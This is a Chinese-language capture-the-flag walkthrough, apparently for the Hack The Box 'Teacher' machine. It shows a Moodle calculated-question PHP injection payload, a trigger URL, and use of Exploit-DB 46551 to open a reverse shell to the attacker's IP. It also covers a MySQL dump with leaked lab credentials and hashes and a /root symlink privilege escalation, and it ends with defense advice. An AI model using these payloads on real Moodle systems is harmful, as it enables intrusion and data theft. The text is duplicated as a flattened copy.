[Meachines] [Easy] Teacher Moodle CMS RCE+Backup.sh->ln软连接滥用权限提升
字数 1277 2025-08-29 08:30:30

Moodle CMS RCE 与 ln 软连接滥用权限提升攻击分析

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.10.153
  • 开放端口: TCP 80 (HTTP服务)
  • Web服务器: Apache httpd 2.4.25 (Debian)
  • 网站标题: "Blackhat highschool"
  • 发现Moodle CMS系统: http://10.10.10.153/moodle/

1.2 密码信息收集

从服务台请求中获取部分凭证信息:

Hi Servicedesk,
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha...
Could you guys figure out what the last charachter is, or just reset it?
Thanks,
Giovanni.

2. 初始访问

2.1 主机名解析

将目标IP添加到本地hosts文件:

echo '10.10.10.153 teacher.htb' >> /etc/hosts

2.2 登录Moodle系统

使用猜测的完整密码成功登录:

  • URL: http://teacher.htb/moodle/
  • 用户名: giovanni
  • 密码: Th4C00lTheacha#

3. Moodle远程代码执行(RCE)漏洞利用

3.1 漏洞利用步骤

  1. 访问课程页面: http://teacher.htb/moodle/course/view.php?id=2
  2. 添加Quiz功能
  3. 新建计算类型问题
  4. 在问题描述中插入恶意代码:
/*{a*/$_GET[shell];//{x}}

3.2 触发RCE

访问构造的URL执行命令:

http://teacher.htb/moodle/question/question.php?qtype=calculated&category=2&cmid=9&courseid=2&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D9%26addonpage%3D0&appendqnumstring=addquestion&id=6&shell=(date;ping%20-c%201%2010.10.16.33)

3.3 使用公开漏洞利用脚本

使用Exploit-DB中的公开利用脚本(46551):

php exp.php url=http://teacher.htb/moodle user=giovanni pass=Th4C00lTheacha# ip=10.10.16.33 port=443 course=1 course=2

4. 横向移动

4.1 MySQL数据库访问

从系统中获取MySQL凭据:

  • 用户名: root
  • 密码: Welkom1!

4.2 数据库转储

执行mysqldump获取数据库内容:

mysqldump -u 'root' -p -h 'localhost' 'moodle' > /tmp/res.txt

4.3 密码哈希分析

获取的用户密码哈希:

guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO
admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2
giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO
Giovannibak | 7a860966115182402ed06375cf0a22af (明文密码: expelled)

4.4 获取用户标志

找到用户flag:

2ed3dfa090a2c381f63965b415be749b

5. 权限提升(ln软连接滥用)

5.1 发现备份脚本

系统存在一个备份脚本Backup.sh,存在符号链接滥用漏洞。

5.2 利用步骤

  1. 使用pspy监控进程活动
  2. 创建恶意符号链接,使备份脚本读取root目录内容:
rm -rf ~/work/tmp/courses/
mv ~/work/courses ~/work/courses.bak
ln -s /root ~/work/courses

5.3 获取root标志

成功读取root目录下的flag文件:

d27323046410b2d338961ff01b2aaadf

6. 漏洞总结与防御建议

6.1 Moodle RCE漏洞

  • 漏洞原因: 不安全的用户输入处理,允许通过计算问题类型注入PHP代码
  • 防御措施:
    • 更新Moodle到最新版本
    • 实施严格的输入验证
    • 禁用或限制计算问题类型的使用
    • 实施Web应用防火墙(WAF)

6.2 符号链接滥用漏洞

  • 漏洞原因: 备份脚本未检查符号链接,导致目录遍历
  • 防御措施:
    • 在脚本中添加符号链接检查
    • 使用realpath()函数解析路径
    • 限制脚本运行权限
    • 实施最小权限原则

6.3 密码安全

  • 问题: 使用弱密码和可猜测密码
  • 改进建议:
    • 实施强密码策略
    • 定期更换密码
    • 禁用默认账户或修改默认密码
    • 实施多因素认证

7. 参考资源

  • Moodle RCE漏洞利用脚本: https://www.exploit-db.com/exploits/46551
  • 图片查看工具: https://github.com/MartinxMax/ImageToAscii
  • 符号链接攻击防御指南: OWASP相关文档
Moodle CMS RCE 与 ln 软连接滥用权限提升攻击分析 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.10.153 开放端口: TCP 80 (HTTP服务) Web服务器: Apache httpd 2.4.25 (Debian) 网站标题: "Blackhat highschool" 发现Moodle CMS系统: http://10.10.10.153/moodle/ 1.2 密码信息收集 从服务台请求中获取部分凭证信息: 2. 初始访问 2.1 主机名解析 将目标IP添加到本地hosts文件: 2.2 登录Moodle系统 使用猜测的完整密码成功登录: URL: http://teacher.htb/moodle/ 用户名: giovanni 密码: Th4C00lTheacha# 3. Moodle远程代码执行(RCE)漏洞利用 3.1 漏洞利用步骤 访问课程页面: http://teacher.htb/moodle/course/view.php?id=2 添加Quiz功能 新建计算类型问题 在问题描述中插入恶意代码: 3.2 触发RCE 访问构造的URL执行命令: 3.3 使用公开漏洞利用脚本 使用Exploit-DB中的公开利用脚本(46551): 4. 横向移动 4.1 MySQL数据库访问 从系统中获取MySQL凭据: 用户名: root 密码: Welkom1! 4.2 数据库转储 执行mysqldump获取数据库内容: 4.3 密码哈希分析 获取的用户密码哈希: 4.4 获取用户标志 找到用户flag: 5. 权限提升(ln软连接滥用) 5.1 发现备份脚本 系统存在一个备份脚本 Backup.sh ,存在符号链接滥用漏洞。 5.2 利用步骤 使用pspy监控进程活动 创建恶意符号链接,使备份脚本读取root目录内容: 5.3 获取root标志 成功读取root目录下的flag文件: 6. 漏洞总结与防御建议 6.1 Moodle RCE漏洞 漏洞原因 : 不安全的用户输入处理,允许通过计算问题类型注入PHP代码 防御措施 : 更新Moodle到最新版本 实施严格的输入验证 禁用或限制计算问题类型的使用 实施Web应用防火墙(WAF) 6.2 符号链接滥用漏洞 漏洞原因 : 备份脚本未检查符号链接,导致目录遍历 防御措施 : 在脚本中添加符号链接检查 使用 realpath() 函数解析路径 限制脚本运行权限 实施最小权限原则 6.3 密码安全 问题 : 使用弱密码和可猜测密码 改进建议 : 实施强密码策略 定期更换密码 禁用默认账户或修改默认密码 实施多因素认证 7. 参考资源 Moodle RCE漏洞利用脚本: https://www.exploit-db.com/exploits/46551 图片查看工具: https://github.com/MartinxMax/ImageToAscii 符号链接攻击防御指南: OWASP相关文档